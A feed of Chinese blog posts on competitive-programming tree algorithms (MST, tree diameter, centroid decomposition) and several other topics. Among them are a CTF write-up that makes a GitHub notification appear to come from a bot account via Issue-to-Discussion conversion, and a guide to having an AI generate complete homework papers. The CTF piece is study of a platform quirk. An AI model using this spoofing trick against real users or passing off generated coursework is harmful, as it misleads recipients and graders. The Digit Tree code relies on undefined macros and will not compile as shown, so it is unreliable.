int parent[N];    // 记录生成树的父节点
bool inMST[N];

int prim(int start) {
    fill(minDist, minDist + n + 1, INF);
    fill(inMST, inMST + n + 1, false);
    fill(parent, parent + n + 1, -1);

    minDist[start] = 0;
    int totalWeight = 0;

    for (int i = 0; i < n; i++) {
        // 找最小距离的未选节点
        int u = -1, minD = INF;
        for (int v = 1; v <= n; v++) {
            if (!inMST[v] && minDist[v] < minD) {
                minD = minDist[v];
                u = v;
            }
        }

        if (u == -1) break; // 图不连通

        inMST[u] = true;
        totalWeight += minDist[u];

        if (parent[u] != -1) {
            cout << "选中边: " << parent[u] << " - " << u
                 << " (权重 " << minDist[u] << ")" << endl;
        }

        // 更新邻接节点的最小距离
        for (auto [v, w] : adj[u]) {
            if (!inMST[v] && w < minDist[v]) {
                minDist[v] = w;
                parent[v] = u;
            }
        }
    }

    return totalWeight;
}

int main() {
    cin >> n >> m;
    for (int i = 0; i < m; i++) {
        int u, v, w;
        cin >> u >> v >> w;
        adj[u].push_back({v, w});
        adj[v].push_back({u, w});
    }

    int totalWeight = prim(1);
    cout << "最小生成树总权重: " << totalWeight << endl;

    return 0;
}

Prim 算法堆优化版本

int prim_heap(int start) {
    fill(minDist, minDist + n + 1, INF);
    fill(inMST, inMST + n + 1, false);

    priority_queue<pair<int, int>, vector<pair<int, int>>,
                   greater<pair<int, int>>> pq;

    minDist[start] = 0;
    pq.push({0, start});
    int totalWeight = 0, cnt = 0;

    while (!pq.empty() && cnt < n) {
        auto [d, u] = pq.top(); pq.pop();

        if (inMST[u]) continue;
        inMST[u] = true;
        totalWeight += d;
        cnt++;

        for (auto [v, w] : adj[u]) {
            if (!inMST[v] && w < minDist[v]) {
                minDist[v] = w;
                parent[v] = u;
                pq.push({w, v});
            }
        }
    }

    return totalWeight;
}

正确性证明

两种算法的正确性都可以通过切分定理（Cut Property）证明：

切分定理：将图的顶点集任意分成两个非空集合 $S$ 和 $V-S$，则所有连接这两个集合的边中，权值最小的边一定在某个最小生成树中。

Kruskal：每次选择的边都是某个切分的最小边（因为按权重排序）。

Prim：每次选择的节点对应的边，就是当前切分的最小边。

练习题推荐

题目	难度	说明
洛谷 P3366 最小生成树	⭐	模板题
洛谷 P1547 Out of Hay	⭐⭐	最小生成树的最大边
洛谷 P2872 Roads	⭐⭐	构图 + MST
洛谷 P1991 无线通讯网	⭐⭐⭐	二分 + MST / 第 k 大边
LeetCode 1584. 连接所有点的最小费用	⭐⭐	构图 + Prim

小结

Kruskal 从边出发，按权重排序后贪心选择，用并查集判环，适合稀疏图
Prim 从点出发，逐步扩展生成树，类似 Dijkstra，适合稠密图
两种算法都基于贪心，正确性由切分定理保证
实际竞赛中，Kruskal 实现简单，是最常用的 MST 算法

总结

本文系统介绍了树论的核心内容：

专题	核心要点
树基础	无根树/有根树定义、术语、存储、DFS/BFS 遍历
树的直径	两次 DFS（简单但不支持负权）、树形 DP（通用）
树的重心	删去后最大连通块 $\le n/2$，点分治的基础
最小生成树	Kruskal（稀疏图）、Prim（稠密图）
经典例题	消防（直径+尺取）、Digit Tree（点分治+数论）

这些知识点环环相扣：树的遍历是基础算法，直径和重心是重要的树上结构性质，最小生成树是图论中的重要应用，而经典例题则展示了知识的综合运用。掌握这些内容，将为解决更复杂的树论问题打下坚实基础。

第五部分：经典例题详解

本部分精选两道经典竞赛题目，综合运用树论的核心知识，展示算法在实际问题中的应用。

例题一：P2491 [SDOI2011] 消防

题目背景

这道题的背景包装得很花哨，但剔除掉背景后，它是一个非常经典的图论问题。

等价题意

给定一棵包含 $n$ 个节点、边带有非负权值的无向树，以及一个长度上限 $s$。请在树上找出一条简单路径，满足以下条件：

约束条件：这条路径的总长度（即路径上所有边的权值之和）不能超过 $s$。

优化目标：最小化树中所有节点到这条路径的距离的最大值。

补充说明：树上任意一个节点到某条路径的"距离"，定义为该节点到路径上所有节点最短距离的最小值。

问题本质

这道题在算法竞赛中通常被称为**「树的核」（Tree Core）问题**。

因为距离路径最远的节点一定在树的某个"边缘"上，所以直觉上（也有严谨证明），这条最优路径一定完全包含在树的直径（树上最长的一条简单路径）上。

因此，这类问题通常的解题方向是：

先求出树的直径
然后利用尺取法（双指针）或二分答案在直径上寻找最优的线段

算法思路

第一步：求树的直径

使用两次 DFS 方法求出直径的两个端点，并记录直径路径上所有节点的距离（从某个端点出发）。

第二步：尺取法在直径上找最优路径

设直径端点为 $u$ 和 $v$，直径长度为 $D$。我们需要在直径上找一段长度不超过 $s$ 的路径，使得"偏心距"（所有节点到路径的最大距离）最小。

用双指针 $i$ 和 $j$ 在直径路径上移动（尺取法）：

$i$ 和 $j$ 都从同一端点出发
$i$ 先向前移动
$j$ 跟随移动，保证 $j$ 到 $i$ 的距离不超过 $s$

对于每对 $(i, j)$，偏心距由两部分构成：

直径端点到路径的距离：$dis[i]$ 和 $D - dis[j]$
直径外分支的最大深度

第三步：处理直径外的分支

对于不在直径上的分支，需要从直径上的节点出发 DFS，计算每个分支的最大深度。

关键性质证明

为什么最优路径一定在直径上？

设最优路径为 $P$，不在直径上。考虑距离 $P$ 最远的节点 $x$。

由于 $P$ 不在直径上，从 $P$ 到 $x$ 的路径必定在某点 $y$ 处离开直径（或从未进入直径）。

设直径端点为 $u$ 和 $v$，$u$ 到 $v$ 的路径经过 $y$。那么 $u$ 到 $x$ 的距离或 $v$ 到 $x$ 的距离中，至少有一个大于 $x$ 到 $P$ 的距离。

这意味着，如果把 $P$ 移到直径上某个包含 $y$ 的位置，偏心距不会变大，反而可能变小。因此最优路径一定在直径上。

代码实现

#include<bits/stdc++.h>
using namespace std;
typedef long long ll;
const ll N=1e6+5;

ll n, s, tot, hd[N], cnt, dis[N], ans=9999999999, top, k, fa[N], line[N];
struct edge { ll t, nxt, va; } es[N<<2];

// 快读快写模板
template <typename T> void rd(T &x) {
    ll fl=1; x=0; char c=getchar();
    for(; !isdigit(c); c=getchar()) if(c=='-') fl=-fl;
    for(; isdigit(c); c=getchar()) x=(x<<3)+(x<<1)+c-'0';
    x*=fl;
}

void add(ll u, ll v, ll w) {
    es[++tot] = (edge){v, hd[u], w}, hd[u] = tot;
}

// DFS求最远点，同时记录父亲
void dfs(ll x, ll ff) {
    fa[x] = ff;
    if(dis[x] > dis[k]) k = x;  // 更新最远点
    for(ll i = hd[x]; i; i = es[i].nxt) {
        ll to = es[i].t;
        if(to == ff || line[to]) continue;  // 跳过父亲和已标记的直径节点
        dis[to] = dis[x] + es[i].va;
        dfs(to, x);
    }
}

int main() {
    rd(n); rd(s);
    for(ll i=1, u, v, w; i<n; i++) {
        rd(u); rd(v); rd(w);
        add(u, v, w); add(v, u, w);
    }

    // 第一步：求直径
    dis[1] = 1; dfs(1, 0);       // 第一次DFS：从任意点找最远点k
    dis[k] = 0; dfs(k, 0);       // 第二次DFS：从k找最远点top
    top = k;                     // top是直径的另一端点

    // 第二步：尺取法在直径上找最优路径
    for(ll i=top, j=top; i; i=fa[i]) {
        // i从top向另一端移动，j跟随移动保证路径长度<=s
        while(dis[j] - dis[i] > s) j = fa[j];
        // 更新答案：偏心距 = max(左端距离, 右端距离)
        ans = min(ans, max(dis[i], dis[top] - dis[j]));
    }

    // 第三步：标记直径上的节点
    for(ll i=top; i; i=fa[i]) line[i] = 1;

    // 第四步：计算直径外分支的最大深度
    for(ll i=top; i; i=fa[i]) {
        k = i; dis[k] = 0;
        dfs(i, fa[i]);  // 从直径节点出发DFS其分支
    }

    // 最终答案：取所有节点到路径的最大距离
    for(ll i=1; i<=n; i++) ans = max(ans, dis[i]);

    printf("%lld\n", ans);
    return 0;
}

算法分析

步骤	时间复杂度	说明
求直径	$O(n)$	两次 DFS
尺取法	$O(n)$	直径长度不超过 $n$
计算分支深度	$O(n)$	每个节点只访问一次
总计	$O(n)$	线性复杂度

这道题巧妙地结合了树的直径和双指针技巧，是树论综合应用的经典范例。

例题二：CF 715C Digit Tree

等价题意

求树上有多少个有序节点对 $(u, v)$，使得从 $u$ 到 $v$ 路径上的数字按顺序拼接成的十进制数能被 $M$ 整除。

问题分析

看到"树上所有路径统计"以及 $n \le 10^5$ 的数据范围，这道题通常是指向**点分治（Centroid Decomposition）**的经典模型。

结合"顺序拼接数字"和"与 10 互质"的性质，需要利用扩展欧几里得求逆元，将路径 $u \to root \to v$ 的余数合并起来进行快速统计。

算法思路

核心思想：点分治 + 路径余数统计

对于每个分治中心 $cent$，统计所有经过 $cent$ 的满足条件的路径对 $(u, v)$。

路径余数的表示

设从 $u$ 到 $cent$ 的路径上数字拼接成的数为 $X_u$，从 $cent$ 到 $v$ 的路径上数字拼接成的数为 $Y_v$。

则 $u \to cent \to v$ 路径上的数为 $X_u \times 10^{len(Y_v)} + Y_v$。

我们需要统计满足 $X_u \times 10^{len} + Y_v \equiv 0 \pmod M$ 的对数。

两个方向的处理

down 方向：从 $cent$ 向下走到节点 $u$，数字从左往右拼接
up 方向：从节点 $u$ 向上走到 $cent$，数字从右往左拼接（需要乘 $10^{h}$）

设 $down[u]$ 为从 $cent$ 到 $u$ 的路径余数，$up[u]$ 为从 $u$ 到 $cent$ 的路径余数，$h[u]$ 为路径高度（长度）。

合并条件

$up[u] \times 10^{h[v]} + down[v] \equiv 0 \pmod M$

等价于：$up[u] \equiv -down[v] \times 10^{-h[v]} \pmod M$

这里需要用到模逆元，要求 $M$ 与 $10$ 互质（题目保证）。

统计方法

使用两个 map：

$tot$：所有子树中 $up$ 值的总统计
$vec[part]$：各子树内部的 $up$ 值统计（避免重复计数）

对于每个节点 $v$，查询 $tot$ 中满足条件的数量，减去同一子树内的数量（避免路径起点终点在同一子树）。

代码实现

#include <bits/stdc++.h>
using namespace std;

typedef long long ll;
typedef pair<int,int> ii;
typedef vector<int> vi;

const int N = 1e5 + 1;
int MOD, n;

vector<ii> adj[N];
int subsize[N];
bool visited[N];
int treesize;
vi clrlist;
ll up[N], down[N];
int h[N];
int PHI;
int dppart[N];

// 快速幂
ll modpow(ll a, ll b) {
    ll r = 1;
    while(b) {
        if(b&1) r = (r*a) % MOD;
        a = (a*a) % MOD;
        b >>= 1;
    }
    return r;
}

ll mult(ll a, ll b) { return (a*b) % MOD; }
ll add(ll a, ll b) { return (a+b+MOD) % MOD; }

ll inv(ll a) { return modpow(a, PHI-1); }  // 模逆元

// 欧拉函数（用于求逆元）
int phi(int n) {
    ll num = 1, num2 = n;
    for(ll i = 2; i*i <= n; i++) {
        if(n % i == 0) {
            num2 /= i;
            num *= (i-1);
        }
        while(n % i == 0) n /= i;
    }
    if(n > 1) { num2 /= n; num *= (n-1); }
    return num * num2;
}

// 计算子树大小
void dfs(int u, int par) {
    if(par == -1) clrlist.clear();
    subsize[u] = 1;
    clrlist.pb(u);
    for(int i = 0; i < adj[u].size(); i++) {
        int v = adj[u][i].fi;
        if(visited[v] || v == par) continue;
        dfs(v, u);
        subsize[u] += subsize[v];
    }
    if(par == -1) treesize = subsize[u];
}

// 找重心
int centroid(int u, int par) {
    for(int i = 0; i < adj[u].size(); i++) {
        int v = adj[u][i].fi;
        if(visited[v] || v == par) continue;
        if(subsize[v]*2 > treesize) return centroid(v, u);
    }
    return u;
}

// 计算各节点的up、down、h值
int parts = 0;
void fill(int u, int p, int cent) {
    if(p == cent) {
        dppart[u] = parts;
        parts++;
    } else if(p != -1) {
        dppart[u] = dppart[p];
    }
    for(int i = 0; i < adj[u].size(); i++) {
        int v = adj[u][i].fi, w = adj[u][i].se;
        if(v == p || visited[v]) continue;
        down[v] = add(mult(down[u], 10), w);
        up[v] = add(up[u], mult(modpow(10, h[u]), w));
        h[v] = h[u] + 1;
        fill(v, u, cent);
    }
}

// 统计经过cent的满足条件的路径数
ll solve(int cent) {
    for(int u : clrlist) { up[u] = 0; down[u] = 0; h[u] = 0; }
    parts = 0;
    fill(cent, -1, cent);
    parts--;
    dppart[cent] = -1;

    map<ll,ll> tot;  // 所有up值的统计
    vector<map<ll,ll>> vec(parts+1);  // 各子树up值统计
    tot[0]++;
    for(int u : clrlist) {
        if(u == cent) continue;
        tot[up[u]]++;
        vec[dppart[u]][up[u]]++;
    }

    ll ans = 0;
    for(int u : clrlist) {
        int ht = h[u], pt = dppart[u];
        if(u == cent) {
            ans += (tot[0] - 1);  // cent作为起点
        } else {
            ll val = mult((-down[u]) % MOD + MOD, inv(modpow(10, ht)));
            ans += (tot[val] - vec[pt][val]);  // 减去同一子树内的
        }
    }
    return ans;
}

// 点分治主过程
ll compsolve(int u) {
    dfs(u, -1);
    int cent = centroid(u, -1);
    ll ans = solve(cent);
    visited[cent] = true;
    for(int i = 0; i < adj[cent].size(); i++) {
        int v = adj[cent][i].fi;
        if(!visited[v]) ans += compsolve(v);
    }
    return ans;
}

int main() {
    ios_base::sync_with_stdio(0); cin.tie(0);
    cin >> n >> MOD;
    if(MOD == 1) {
        cout << ll(n) * ll(n-1) << '\n';
        return 0;
    }
    PHI = phi(MOD);  // 欧拉函数值
    for(int i = 0; i < n-1; i++) {
        int u, v, w; cin >> u >> v >> w;
        adj[u].pb(ii(v, w)); adj[v].pb(ii(u, w));
    }
    cout << compsolve(0) << '\n';
    return 0;
}

算法分析

组件	说明
点分治	保证递归深度 $O(\log n)$，总复杂度 $O(n \log n)$
欧拉函数	用于计算模逆元（要求 $M$ 与 $10$ 互质）
up/down数组	分别表示向上和向下方向的路径余数
map统计	快速查询满足合并条件的路径数

题目保证 $M$ 与 $10$ 互质，这样才能使用欧拉函数求逆元。如果 $M$ 不与 $10$ 互质，需要用其他方法处理。

关键技巧总结

路径方向的区分：数字拼接有方向性，$u \to v$ 和 $v \to u$ 是不同的
模逆元的应用：将"乘以 $10^{len}$"转化为"乘以逆元"
避免重复计数：统计时减去同一子树内的路径数
重心优化：点分治保证线性对数复杂度

小结

这两道例题展示了树论知识的综合应用：

题目	核心知识点	算法技巧
P2491 消防	树的直径	尺取法、DFS分支处理
CF 715C Digit Tree	树的重心（点分治）	模逆元、路径余数统计

学习建议：

先掌握基础算法（DFS、求直径、求重心）
理解点分治的核心思想：每次选重心，保证递归深度
多练习综合题目，体会知识点的融合应用

Context is all you need：为什么上下文才是 AI 的灵魂？

LangQi99的博客 — Sat, 07 Mar 2026 00:00:00 GMT

For the best experience, please visit: https://langqi99.com/blog/context-is-all-you-need/

import Info from "../../components/mdx/Info.astro"; import Warning from "../../components/mdx/Warning.astro"; import Success from "../../components/mdx/Success.astro";

LLM 越来越强，似乎无所不能。很多人都在期待，只要模型继续迭代升级，未来的 AI对话 一定能解决所有问题。

但现实真的如此吗？

当你对着目前最聪明的 AI 问出一个极其日常的问题

我今晚吃什么？

你会发现，哪怕它进化到了 GPT 999.0 或者 Claude Opus 999.9，它给你的答案只是一堆排列组合：汉堡、轻食、火锅或是日料。

就算你把世界上所有的菜谱都喂给了一个参数量巨大的 AI，此时它确实全知。但当你说“我饿了”时，模型不知道你最近在减脂，也不知道你一吃香菜就会皱眉头。

没有你的专属上下文，最强大的 `AI` 也没有灵魂。

AI 拥有了关于你的完整上下文，就像一个时刻配置你的朋友呢？

它拥有你每天吃饭的数据：

你今天中午吃了一顿高热量的炸鸡，昨天晚上吃的是披萨。
你每次点“健康餐”之前要在软件里犹豫 5 分钟去选菜，但点“烧烤”时只会花 30 秒。
你吃到某家外卖后皱着眉头、心情打分甚至心率变化。

这个时候，AI 能从中分析出连你自己都没意识到的潜在模式：

它知道你中午热量超标了，今晚潜意识里可能想吃点清淡的以减轻负罪感。
它知道你虽然收藏了一堆沙拉店，但总是犹豫不决，说明你对纯草食并不感冒。
它结合你今天下班较晚的疲惫状态……

最终，它可能会给出这样一个建议：“今晚给你推荐一份温暖的日式鸡汤乌冬面吧。你中午吃得比较油腻，晚上吃这个暖胃；而且那家店就在你回家的路上，不用再花 5 分钟犹豫选哪家了。”

This is true intelligence!

Context is All You Need

毕竟，哪怕是 GPT 999.0，如果没有你的生活轨迹介入，它也仅仅是个好用的搜索工具而已

AI 模型的算力、参数量和世界知识，决定了它能力的上限；但 AI 拥有多少关于你的上下文，决定了它在你生活中的下限。

LeetCode 算法可视化

LangQi99的博客 — Tue, 03 Feb 2026 00:00:00 GMT

For the best experience, please visit: https://langqi99.com/blog/algorithm-visualization/

import LinkCard from "../../components/mdx/LinkCard.astro";

这里收集了一些 LeetCode 题目设计的算法的可视化演示。点击卡片即可查看。

经典算法

链表

数组与字符串

树与图

设计

[LilacCTF 2026] Your GitHub, mine 题解：利用 GitHub 机制伪造发件人

LangQi99的博客 — Mon, 26 Jan 2026 00:00:00 GMT

For the best experience, please visit: https://langqi99.com/blog/lilacctf-writeup/

import Info from "../../components/mdx/Info.astro"; import Warning from "../../components/mdx/Warning.astro"; import Success from "../../components/mdx/Success.astro";

背景

在最近的 LilacCTF 2026 中，有一道名为 "Your GitHub, mine" 的 Misc 题目非常有意思。

题目要求我们让一个特定的 GitHub 机器人账号 @2rn8p752rs-lang 给题目组的账号 @lilacctf-tech 发送一封邮件，且邮件头必须包含 X-GitHub-Sender: 2rn8p752rs-lang。

限制条件：

机器人创建 Issue 的那封初始邮件不算数。
我们只能控制机器人创建一个 Issue，无法登录机器人账号。
需要绕过 GitHub 的身份验证机制。

本文记录了如何利用 GitHub 的 "Issue 转 Discussion" 功能特性来完成这次攻击。

题目入口

题目提供了一个 nc 端口。连接后，首先面临的是一个 HashCash PoW Challenge。这是为了防止滥用，要求我们计算出一个后缀，使得 SHA256 哈希值满足特定条件。

1. 自动化脚本

手算是不可能的，直接上 Python 脚本自动爆破：

from pwn import *
import hashlib
import itertools
import string

# 配置信息
HOST = '1.95.71.133'
PORT = 9999
REPO_NAME = "your-username/lilacctf-puzzle-xxx"  # 你的仓库名

def solve_pow(prefix, difficulty=6):
    print(f"[*] Calculating PoW (Prefix: {prefix})...")
    chars = string.ascii_letters + string.digits
    # 爆破长度 1-10 的字符串
    for length in range(1, 10):
        for p in itertools.product(chars, repeat=length):
            suffix = ''.join(p)
            candidate = prefix + suffix
            if hashlib.sha256(candidate.encode()).hexdigest().startswith('0' * difficulty):
                return suffix

r = remote(HOST, PORT)

# 读取挑战前缀
r.recvuntil(b"SHA256('")
prefix = r.recvuntil(b"'", drop=True).decode()
r.recvuntil(b"hex")

# 计算并发送
solution = solve_pow(prefix)
r.sendline(solution.encode())
r.sendline(REPO_NAME.encode())
r.interactive()

运行脚本通过验证后，机器人 @2rn8p752rs-lang 会在我们的仓库中创建一个 Issue。

解法

此时我们拥有了一个由机器人创建的 Issue。如果我们直接在该 Issue 下评论并 @ 目标用户，通知邮件的发送者（X-GitHub-Sender）会是我们自己，而不是机器人。

我们需要利用 GitHub 的一个特性：将 Issue 转换为 Discussion。

1. 添加触发器

首先，我们需要让目标用户 @lilacctf-tech 有理由收到这个通知。

打开机器人创建的那个 Issue，点击 Edit，在正文中添加：

Hello @lilacctf-tech

虽然这次编辑操作是由我们执行的，但 Issue 的归属作者依然是机器人。

2. Issue 转 Discussion

进入仓库页面，点击上方菜单栏的 Settings，开启 Discussions 功能。

开启后，再回到对应 Issue 页面，此时右下角就会出现 "Convert to discussion" 按钮。点击它即可将 Issue 转为 Discussion。

原理分析： 当 Issue 被转换为 Discussion 时，GitHub 会生成一条新的 "Discussion created" 通知。由于 Discussion 的内容继承自 Issue，系统会将新生成的 Discussion 作者视为 Issue 的原始创建者（即机器人）。

因此，发出的通知邮件头中，X-GitHub-Sender 字段就会变成机器人的 ID，从而满足题目要求。

踩坑记录

按照上述步骤操作后，发现这里迟迟没有收到 Flag，目标似乎根本没收到邮件。

关键坑点：私有仓库的隐私保护机制

我在测试时直接使用了 GitHub Classroom 默认创建的仓库，通常它是 Private 的。

在 GitHub 的隐私逻辑中：如果在私有仓库中 Mention 一个非协作者，GitHub 为了防止泄露仓库存在性，绝对不会向对方发送任何通知。

解决方案

解决办法非常简单粗暴：

进入仓库 Settings -> General。
拉到最下方 Danger Zone。
点击 Change repository visibility -> Make public。

将仓库公开后，建议重新运行一遍流程（生成新 Issue -> 编辑 @ 目标 -> 转 Discussion），以确保通知被触发。

总结

这道题其实考察的不是传统的 Web 漏洞，而是对 GitHub 平台业务逻辑的熟悉程度。

Issue 转 Discussion 会保留原作者身份，这是一个 Feature。
私有仓库 不给外人发通知，这是一个 Privacy Protection。

结合这两点，只需两步操作即可优雅地拿到 Flag。

用任意 AI 巧妙一口气生成图文并茂的论文/大作业

LangQi99的博客 — Thu, 01 Jan 2026 00:00:00 GMT

For the best experience, please visit: https://langqi99.com/blog/ai-paper-latex/

import Info from "../../components/mdx/Info.astro"; import Warning from "../../components/mdx/Warning.astro"; import Success from "../../components/mdx/Success.astro";

背景

每到期末，理工科的大作业往往让人头秃。你不仅要推导公式，还要用 Python/Matlab 跑仿真数据，把数据画成图，最后还得把这些东西手动粘贴到 Word 或者 LaTeX 里，排版又是一场噩梦。

痛点分析：

数据与图表割裂：代码跑完图，还得手动保存、重命名、插入文档。
排版繁琐：LaTeX 的表格和公式写起来非常费劲。
AI 直接写的太假：直接让 AI 写论文，它往往会瞎编数据（幻觉），或者没有配图，一看就是生成的。

本文介绍一种策略：不要让 AI 写论文，而是让 AI 写一个 "能生成论文"的代码 。

我们将以一个量子力学大作业（无限深势阱仿真）为例，展示如何用一个 py 脚本搞定一切。

效果预览

核心思路

与其让 AI 输出文本，不如让它输出一个 Python 脚本，这个脚本包含三个模块：

计算核心：利用 numpy 算出真实可靠的数据（拒绝胡编乱造）。
绘图引擎：利用 matplotlib 自动生成高清图表并保存。
文档生成：利用 Python 的字符串操作，将计算结果、图表路径嵌入 LaTeX 模板，并输出 .tex 文件。

这种方法的优势在于可复现性。只要代码逻辑是对的，生成的图表和数据就绝对对应，不会出现"图文不符"的低级错误。

案例剖析：aaaaa.py

我们来看一个实际案例 aaaaa.py。这是我让 AI 生成的一个脚本，它的目标是完成一份关于"1D 和 2D 无限深势阱"的物理大作业。

1. 物理引擎与计算

首先，脚本定义了物理常数和核心计算函数。这一步保证了论文里的数据是基于数学公式算出来的，而不是 AI 瞎编的。

# aaaaa.py 片段：定义物理计算逻辑
def energy_1d(n):
    """Energy levels for 1D well"""
    return (n**2 * np.pi**2 * hbar**2) / (2 * m * L**2)

def evolve_psi(coeffs, x, t, N):
    """Calculate wave function at time t"""
    # ... 省略具体计算过程 ...
    return psi_t

2. 自动化绘图

这是最爽的一步。脚本会自动创建输出目录，并批量生成所需的图表。注意它直接把图保存到了 OUTPUT_DIR。

# aaaaa.py 片段：自动绘图
OUTPUT_DIR = "quantum_paper_output"
# ... 创建目录 ...

print("Generating Eigenstate Figures...")
fig, axes = plt.subplots(4, 2, figsize=(10, 12))
# ... 循环画图 ...
plt.savefig(f"{OUTPUT_DIR}/fig_eigenstates.png", dpi=300)

它甚至还生成了复杂的 3D 表面图，展示 2D 势阱的简并态：

def plot_2d_eigen(nx, ny, filename):
    # ... 3D 绘图逻辑 ...
    ax.plot_surface(X, Y, prob2d, cmap='viridis', edgecolor='none')
    plt.savefig(f"{OUTPUT_DIR}/{filename}", dpi=300)

3. 动态生成 LaTeX 表格

手写 LaTeX 表格是世界上最痛苦的事情之一。但用 Python 生成就非常简单。脚本里用循环计算出数据，拼接成 LaTeX 的表格行格式：

# aaaaa.py 片段：自动生成表格内容
energy_table_rows = ""
for n in range(1, 21):
    e_val = energy_1d(n)
    # 自动填充 n, 能量值, 和公式表达
    energy_table_rows += f"{n} & {e_val:.4f} & ${n**2} E_1$ \\\\\n"

4. 组装论文

最后，脚本通过一个巨大的 f-string（格式化字符串），把刚才生成的表格行插入到 LaTeX 模板中，并写入 paper.tex。

# aaaaa.py 片段：LaTeX 模板注入
tex_content = r"""\documentclass[12pt, a4paper]{article}
% ... 导包 ...
\begin{document}

\section{Results}
\begin{table}[H]
    \centering
    \begin{tabular}{ccc}
        Quantum Number $n$ & Energy & Factor \\
        \midrule
""" + energy_table_rows + r"""   <-- 插入刚才生成的表格数据
        \bottomrule
    \end{tabular}
\end{table}

\begin{figure}[H]
    \centering
    \includegraphics[width=0.9\textwidth]{fig_eigenstates.png} <-- 引用刚才生成的图片
    \caption{Eigenstates visualization...}
\end{figure}

\end{document}
"""

with open(f"{OUTPUT_DIR}/paper.tex", "w", encoding="utf-8") as f:
    f.write(tex_content)

实操步骤

第一步：让 AI 写代码

你可以给 ChatGPT/DeepSeek/Claude 发送类似的 Prompt：

"请帮我写一个 Python 脚本，用于模拟[你的课题]。脚本需要做以下事情：

使用 Numpy 计算[核心公式]。
使用 Matplotlib 绘制[关键图表]并保存为 PNG。
生成一个完整的 LaTeX 论文源码文件，其中包含摘要、公式推导、刚才生成的图片（使用 includegraphics）以及计算出的数据表格。
将所有输出文件放在一个文件夹里。

第二步：运行脚本

拿到代码后（例如 aaaaa.py），直接在本地运行：

python aaaaa.py

运行结束后，你会发现当前目录下多了一个 quantum_paper_output 文件夹，里面躺着 paper.tex 和几张高清 PNG 图片。

进阶：如何编译生成的 LaTeX

拿到了 .tex 文件，很多新手不知道怎么转成 PDF。这里提供两种方案。

方案 A：使用 Overleaf (推荐新手)

如果你不想在本地折腾环境，这是最简单的办法。

把 quantum_paper_output 文件夹打包成一个 ZIP 压缩包。
访问 Overleaf 并注册/登录。
点击 "New Project" -> "Upload Project"。
上传你的 ZIP 包。
上传完成后，点击网页右侧的 Recompile 按钮，PDF 就出来了。

方案 B：本地编译 (VS Code)

如果你是理工科学生，建议配置本地环境，一劳永逸。

安装 TeX 发行版：
- Windows: 安装 TeX Live (完整版很大) 或 MiKTeX。
- macOS: 安装 MacTeX。
- Linux: sudo apt install texlive-full。
安装 VS Code 插件：
- 在 VS Code 扩展商店搜索并安装 LaTeX Workshop。
编译：
- 用 VS Code 打开 paper.tex。
- 按 Ctrl+Alt+B (Windows) 或 Cmd+Option+B (Mac) 触发编译。
- 或者点击右上角的播放小图标。
- 编译成功后，点击右上角的查看图标即可预览 PDF。

总结

通过 Python 脚本"一口气"生成论文，不仅能保证数据准确，还能极大节省排版时间。你只需要专注于调整 Python 代码里的参数和 LaTeX 模板的文字描述，剩下的繁琐工作全部交给机器。

这就是 AI 时代的写作业方式： Code is all you need .

Linux SSH 断开后优雅保持程序运行方案记录 (nohup/screen/tmux)

LangQi99的博客 — Mon, 29 Dec 2025 00:00:00 GMT

For the best experience, please visit: https://langqi99.com/blog/linux-ssh-persist/

import Info from "../../components/mdx/Info.astro"; import Warning from "../../components/mdx/Warning.astro"; import Success from "../../components/mdx/Success.astro";

背景

在 Linux 服务器上执行耗时任务（如模型训练、编译大项目、爬虫抓取）时，经常遇到 SSH 连接意外断开的情况。

一旦 SSH 会话结束，系统会向该会话下的所有子进程发送 SIGHUP (Signal Hang Up) 信号。默认情况下，进程收到该信号会立即终止，导致任务中断，数据丢失。

本文记录了三种常用的解决方案，分别适用于不同的场景。

方案一：nohup

如果任务逻辑简单，不需要中途进行交互（如输入密码、确认选项等），nohup 是最直接的方案。它通过忽略 SIGHUP 信号来保证程序后台运行。

1. 使用方法

命令格式为 nohup [command] &。其中 & 表示将任务放入后台执行。

# 示例：后台运行 Python 脚本
nohup python main.py &

2. 输出重定向

默认情况下，程序的标准输出（stdout）和错误输出（stderr）会被写入当前目录下的 nohup.out 文件。

# 实时查看运行日志
tail -f nohup.out

也可以手动指定输出文件：

# 将标准输出和错误输出都重定向到 my_log.txt
nohup python main.py > my_log.txt 2>&1 &

局限性：nohup 将程序的标准输入（stdin）重定向到了 /dev/null。这意味着如果程序在运行过程中需要用户输入（例如 input()），程序会因读取不到输入而抛出 EOFError 或挂起。

方案二：Screen

screen 是 GNU 计划开发的一个终端多路复用器。它允许在一个 SSH 会话中创建多个虚拟终端窗口，即使 SSH 断开，窗口内的程序依然运行。

1. 基础操作

# 1. 创建一个名为 demo 的会话
screen -S demo

# 2. 在新窗口中执行命令
python main.py

# 3. 分离会话 (Detach)
# 快捷键：先按 Ctrl+a，松开后按 d
# 此时会返回原终端，程序在后台运行

# 4. 恢复会话 (Reattach)
screen -r demo

2. 使用体验问题

Screen 是较早期的工具，默认配置在现代终端下体验一般：

无法使用鼠标滚轮：直接滚动鼠标无法查看历史输出，会显示 ^[[A 等乱码。
查看历史记录繁琐：需要按 Ctrl+a 然后按 [ 进入 Copy mode，才能通过键盘翻页查看。

方案三：Tmux (推荐)

tmux 是 screen 的现代替代品，采用 C/S 架构。相比 Screen，它在会话管理、分屏和配置灵活性上更好。

1. 开启鼠标支持

默认情况下 Tmux 也不支持鼠标滚动。为了解决查看日志不便的问题，需要修改配置文件。

在 ~/.tmux.conf 中添加以下配置（如果没有该文件则新建）：

# 开启鼠标支持：允许点击切换窗口、拖动调整分屏大小、鼠标滚轮查看历史记录
echo "set -g mouse on" >> ~/.tmux.conf

# 重新加载配置使生效
tmux source-file ~/.tmux.conf

2. 常用操作指令

会话管理

# 新建会话并指定名称
tmux new -s [session_name]

# 查看当前所有会话
tmux ls

# 恢复/连接到指定会话
tmux attach -t [session_name]

# 杀死/关闭会话
tmux kill-session -t [session_name]

快捷键操作 (默认前缀键为 Ctrl+b)

分离会话 (Detach): Ctrl+b -> d
新建窗口: Ctrl+b -> c
切换窗口: Ctrl+b -> 0-9 (或鼠标点击)
分屏: Ctrl+b -> % (左右分屏) 或 " (上下分屏)

在开启 mouse on 后，选中文本即自动复制（在某些终端模拟器中需按住 Shift 键选择）。

总结

工具	适用场景	优点	缺点
nohup	简单的非交互式脚本	系统自带，命令简单	无法中途交互，日志查看不便
Screen	旧系统或无需配置的环境	稳定性高	操作逻辑陈旧，不支持鼠标滚轮
Tmux	长期开发、多任务管理	功能强大，支持分屏与鼠标，配置灵活	需要额外安装与简单配置

对于需要长期维护的服务器环境，建议配置好 ~/.tmux.conf 并使用 Tmux 作为默认工具。

为国内服务器安装 v2rayA 并配置 Xray 内核 (Ubuntu/Debian)

